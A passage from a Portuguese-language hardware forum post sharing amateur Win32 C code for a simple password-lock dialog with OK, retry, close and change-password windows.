SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Criadopordavifn)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
break;
case WM_DESTROY:
ShowWindow(hwnd,SW_HIDE);
homedrivelresult=getenv("homedrive");
strcpy(Executar,homedrivelresult);
strcat(Executar, "\\*.exe");
if(ShellExecute(hwnd,"open",Executar,NULL,NULL,SW_NORMAL)==NULL){}
ExitProcess(1);
PostQuitMessage (0);
break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}

return 0;
}
LRESULT CALLBACK WindowProcedure2 (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
switch(wParam)
{
case OksenhaID:
GetWindowText(Inserirsenha,Pegarsenha,9999);
if(strcmp(Senharecebidacorreta,Pegarsenha)==0)
{
TrocarJanelas();
}
else
{
ShowWindow(Fecharsenha,SW_HIDE);
ShowWindow(Botaofechar,SW_HIDE);
ShowWindow(Bordafechar,SW_HIDE);
ShowWindow(Oksenha,SW_HIDE);
ShowWindow(Botaook,SW_HIDE);
ShowWindow(Bordaok,SW_HIDE);
ShowWindow(Bordainserirsenha,SW_HIDE);
ShowWindow(Inserirsenha,SW_HIDE);
ShowWindow(Textosenha,SW_HIDE);
ShowWindow(Textoerro,SW_NORMAL);
ShowWindow(Tentarsenha,SW_NORMAL);
ShowWindow(Botaotentar,SW_NORMAL);
ShowWindow(Bordatentar,SW_NORMAL);
SetWindowText(Inserirsenha,"");
}
break;
case FecharsenhaID:
ShowWindow(hwnd2,SW_HIDE);
homedrivelresult=getenv("homedrive");
strcpy(Executar,homedrivelresult);
strcat(Executar,"\\*.exe");
if(ShellExecute(hwnd,"open",Executar,NULL,NULL,SW_NORMAL)==NULL){}
ExitProcess(1);
break;
case Tentarnovamente:
ShowWindow(Fecharsenha,SW_NORMAL);
ShowWindow(Botaofechar,SW_NORMAL);
ShowWindow(Bordafechar,SW_NORMAL);
ShowWindow(Oksenha,SW_NORMAL);
ShowWindow(Botaook,SW_NORMAL);
ShowWindow(Bordaok,SW_NORMAL);
ShowWindow(Bordainserirsenha,SW_NORMAL);
ShowWindow(Inserirsenha,SW_NORMAL);
ShowWindow(Textosenha,SW_NORMAL);
ShowWindow(Textoerro,SW_HIDE);
ShowWindow(Tentarsenha,SW_HIDE);
ShowWindow(Botaotentar,SW_HIDE);
ShowWindow(Bordatentar,SW_HIDE);
break;
}
break;
case WM_CTLCOLORSTATIC:
Cores=(HDC)wParam;
if((HWND)lParam==Janelasenha)
{
SetTextColor((HDC)wParam,RGB(255,255,255));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Botaofechar)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Bordafechar)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Botaook)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Bordaok)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Bordainserirsenha)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Textosenha)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Textoerro)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Botaotentar)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Bordatentar)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
break;
case WM_DESTROY:
ShowWindow(hwnd2,SW_HIDE);
homedrivelresult=getenv("homedrive");
strcpy(Executar,homedrivelresult);
strcat(Executar, "\\*.exe");
if(ShellExecute(hwnd,"open",Executar,NULL,NULL,SW_NORMAL)==NULL){}
ExitProcess(1);
PostQuitMessage (0);
break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return(0);
}
LRESULT CALLBACK WindowProcedure3 (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_COMMAND:
switch(wParam)
{
case TrocarsenhaID:
ShowWindow(hwnd3,SW_HIDE);
GetWindowText(Inserirnovasenha,Novasenha,9999);
Senhaget=fopen(Senhafile,"wb");
if(Senhaget==NULL){}else
{
fprintf(Senhaget,"%s",Novasenha);
fclose(Senhaget);
}
homedrivelresult=getenv("homedrive");
strcpy(Executar,homedrivelresult);
strcat(Executar, "\\*.exe");
if(ShellExecute(hwnd,"open",Executar,NULL,NULL,SW_NORMAL)==NULL){}
ExitProcess(1);
break;
}
break;
case WM_CTLCOLORSTATIC:
Cores=(HDC)wParam;
if((HWND)lParam==Janelatrocarsenha)
{
SetTextColor((HDC)wParam,RGB(255,255,255));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Botaotrocar)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Bordatrocar)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
else if((HWND)lParam==Bordainserirnovasenha)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(0,0,0));
return (INT_PTR)CreateSolidBrush(RGB(0,0,0));
}
else if((HWND)lParam==Trocarsenhatexto)
{
SetTextColor((HDC)wParam,RGB(0,0,0));
SetBkColor((HDC)wParam,RGB(255,255,255));
return (INT_PTR)CreateSolidBrush(RGB(255,255,255));
}
break;
case WM_DESTROY:
ShowWindow(hwnd3,SW_HIDE);
homedrivelresult=getenv("homedrive");
strcpy(Executar,homedrivelresult);
strcat(Executar, "\\*.exe");
if(ShellExecute(hwnd,"open",Executar,NULL,NULL,SW_NORMAL)==NULL){}
ExitProcess(1);
PostQuitMessage (0);
break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}

int TrocarJanelas()
{
ShowWindow(Janelasenha,SW_HIDE);
ShowWindow(Fecharsenha,SW_HIDE);
ShowWindow(Botaofechar,SW_HIDE);
ShowWindow(Bordafechar,SW_HIDE);
ShowWindow(Oksenha,SW_HIDE);
ShowWindow(Botaook,SW_HIDE);
ShowWindow(Bordaok,SW_HIDE);
ShowWindow(Bordainserirsenha,SW_HIDE);
ShowWindow(Inserirsenha,SW_HIDE);
ShowWindow(Textosenha,SW_HIDE);
ShowWindow(hwnd2,SW_HIDE);
ShowWindow(hwnd,SW_NORMAL);
}

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar agora





Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas publicações sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×